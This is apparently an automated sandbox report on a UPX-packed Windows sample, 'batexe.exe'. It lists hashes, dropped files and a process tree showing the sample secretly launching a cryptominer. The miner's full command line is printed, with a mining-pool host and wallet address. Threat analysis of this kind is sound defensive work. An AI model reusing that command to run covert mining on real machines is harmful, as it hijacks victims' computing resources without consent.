73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 17:26

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4872	b2e.exe
2948	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2948	cpuminer-sse2.exe
2948	cpuminer-sse2.exe
2948	cpuminer-sse2.exe
2948	cpuminer-sse2.exe
2948	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2628-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 4872	2628	batexe.exe	74
PID 2628 wrote to memory of 4872	2628	batexe.exe	74
PID 2628 wrote to memory of 4872	2628	batexe.exe	74
PID 4872 wrote to memory of 1920	4872	b2e.exe	75
PID 4872 wrote to memory of 1920	4872	b2e.exe	75
PID 4872 wrote to memory of 1920	4872	b2e.exe	75
PID 1920 wrote to memory of 2948	1920	cmd.exe	78
PID 1920 wrote to memory of 2948	1920	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9153.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe

Filesize
7.0MB

MD5
5afe1fade5b89fe49e7155fa740ddfd4

SHA1
f44c3ac29ce68d63ab7ba468306b0678ffe9b4e6

SHA256
b5112764209a945a62884542cb642dc941ec05954bef0c7139fcd8c5fb0dcf35

SHA512
3f8d74f1ec3ad6cf0679209e1c9b8e70b0cf12a4bae9e60c95c019b5c080c2e2b2aed0509433c60fc75848bc0d8b9f68d7be3475cf61afbe6f321f219b90e7c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\8FAD.tmp\b2e.exe

Filesize
7.7MB

MD5
2736dda21a93956f02b21bb1fab1fca8

SHA1
f2980b56b8248ce7a6085601496c5109cc11a838

SHA256
7fbf06776d1280d09882329ee2887a06592a7772a0d559f1671e2f755ea95a3d

SHA512
05d796c685a5e2df6e0f0d724c946972c9f98166056c673d408efab6aec3df98815bcd4c07a7c650cdc0f81fddc86116ea9d628b2e756aaffb19c938136de49c

Download Submit
C:\Users\Admin\AppData\Local\Temp\9153.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
18ed08e56573ec1400569e8ea2568e16

SHA1
232b9c60e05e57ebd911e333d65cb8c3711a1149

SHA256
a6e74a3b33cdb598f2944190ff8620489ff5c90103838a23807e28f07b47015b

SHA512
6aae3e333d2d3446d001c93bed1b3af9ea2ea605b44655afa4d851d197e95b1020482819478136119619f37563a09e419d4eb26652371d7db1c1b32a13597cef

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.2MB

MD5
10b5940acf2e525bfb04cd3172468cbd

SHA1
a42862cdf3c2cf6b15d555739dd7decbb6be4007

SHA256
c68852813b7bbd5e200a6a3de13429687d23e5aae68f172798351b64607a0d9c

SHA512
0e5c89797329efe38108f35a26df76cfd526ed569b3629c6ccfbd26e89862b23f742c77c10f0930cc2a3924526d50253bd348e5adb285e5773fc7a2bb23cae65

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
7ef1f01ddd5f46fb66bec51421f607df

SHA1
54b4520e9ef760a5359967e8cd25ca35edc621ef

SHA256
a4c3f45c5a9b5d9ba604a878b08c37aa2a71defc2b8e96038ae0246eb488098e

SHA512
cde69ce2ebe348eda95af6def772899949065d260d16ef89410bb805a9996af0344e2a7bb1df265a9bd723b498a101dfe91b0cde43aacf28b56e152f5f7442f9

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2628-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2948-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2948-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2948-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-42-0x0000000064810000-0x00000000648A8000-memory.dmp

Filesize
608KB

Download
memory/2948-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2948-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2948-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4872-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4872-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download